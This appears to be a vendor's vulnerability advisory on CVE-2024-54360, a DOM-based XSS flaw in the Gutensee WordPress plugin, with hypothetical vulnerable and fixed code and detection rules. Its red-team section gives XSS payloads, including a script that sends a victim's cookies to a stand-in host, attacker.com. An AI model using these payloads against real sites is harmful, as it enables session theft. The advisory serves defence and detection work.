CVE-2024-54360
Executive Summary
CVE-2024-54360 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Gutensee WordPress plugin, developed by premila. The flaw exists in versions up to and including 1.0.6, where user-supplied input is improperly neutralized during web page generation. This allows an attacker to inject malicious scripts that execute in the victim's browser within the context of the vulnerable WordPress site. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.
The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, no privileges required, and user interaction required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes this a persistent risk for sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using Gutensee version 1.0.6 or earlier is vulnerable. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. Administrators should monitor the plugin's page for updates and consider removing it if no patch is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the plugin's presence in the WordPress ecosystem make it a viable target for phishing campaigns.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS, meaning the malicious payload is executed client-side via JavaScript that manipulates the Document Object Model (DOM) without proper sanitization. In the Gutensee plugin, user input (likely from URL parameters or stored data) is reflected in the DOM without encoding, allowing an attacker to inject arbitrary HTML/JavaScript.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload (e.g.,
?param=<script>alert('XSS')</script>). - Victim clicks the link while authenticated to the WordPress site.
- The Gutensee plugin processes the input and writes it directly into the DOM (e.g., via
innerHTMLordocument.write). - The injected script executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
Root Cause: The plugin fails to sanitize or escape user input before inserting it into the DOM. Common vulnerable patterns include:
- Using
innerHTMLwith unsanitized data. - Directly appending user input to
document.bodyor other DOM elements.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on typical XSS fixes.
Vulnerable Code (JavaScript):
// Vulnerable: Direct DOM manipulation without sanitization
var userInput = new URLSearchParams(window.location.search).get('param');
document.getElementById('output').innerHTML = userInput;
Patched Code (Hypothetical):
// Patched: Use textContent or sanitize input
var userInput = new URLSearchParams(window.location.search).get('param');
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('output').textContent = sanitized;
Key Differences:
innerHTMLreplaced withtextContentto prevent HTML injection.- Input sanitized using a library like DOMPurify if HTML is required.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Gutensee plugin version <= 1.0.6.
- Ability to craft a malicious link.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
?guten_param=). - Craft payload:
?guten_param=<img src=x onerror=alert(document.cookie)>. - Send the link to a victim via email or social engineering.
- Upon click, the script executes, exfiltrating cookies to an attacker-controlled server.
Example Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defender)
Detection:
- Monitor web logs for suspicious URL parameters containing
<script>,<img onerror>, or base64-encoded JavaScript. - Use browser-based XSS filters (e.g., X-XSS-Protection header).
- Implement Content Security Policy (CSP) to block inline scripts.
Mitigation:
- Remove or disable the Gutensee plugin until a patch is released.
- Use a Web Application Firewall (WAF) to block XSS payloads.
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Patterns:
?guten_param=<script>,?guten_param=<img onerror=,?guten_param=javascript: - Network Traffic: Outbound requests to unknown domains containing cookie data.
- Browser Behavior: Unexpected pop-ups, redirects, or DOM modifications.
- Log Entries: HTTP requests with XSS payloads in query strings.
Detection Engineering
YARA Rule
rule CVE_2024_54360_DOM_XSS {
meta:
description = "Detects DOM-based XSS attempts targeting Gutensee plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-54360"
strings:
$payload1 = /[?&]guten_param=.*<script/i
$payload2 = /[?&]guten_param=.*<img\s+onerror/i
$payload3 = /[?&]guten_param=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-54360 Gutensee DOM XSS Attempt
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with XSS payloads targeting Gutensee plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'guten_param=<script'
- 'guten_param=<img onerror'
- 'guten_param=javascript:'
condition: selection
falsepositives:
- Legitimate use of similar parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-54360 Gutensee DOM XSS Attempt"; flow:to_server,established; content:"guten_param="; nocase; content:"<script"; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Gutensee plugin on all WordPress sites until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Add Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Measures:
- Monitor the plugin's official page for updates.
- Conduct a security audit of all WordPress plugins.
- Educate developers on secure coding practices (e.g., input validation, output encoding).
Patch Status: UNKNOWN / UNPATCHED. No official patch is available as of this report. Users are advised to remove the plugin.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.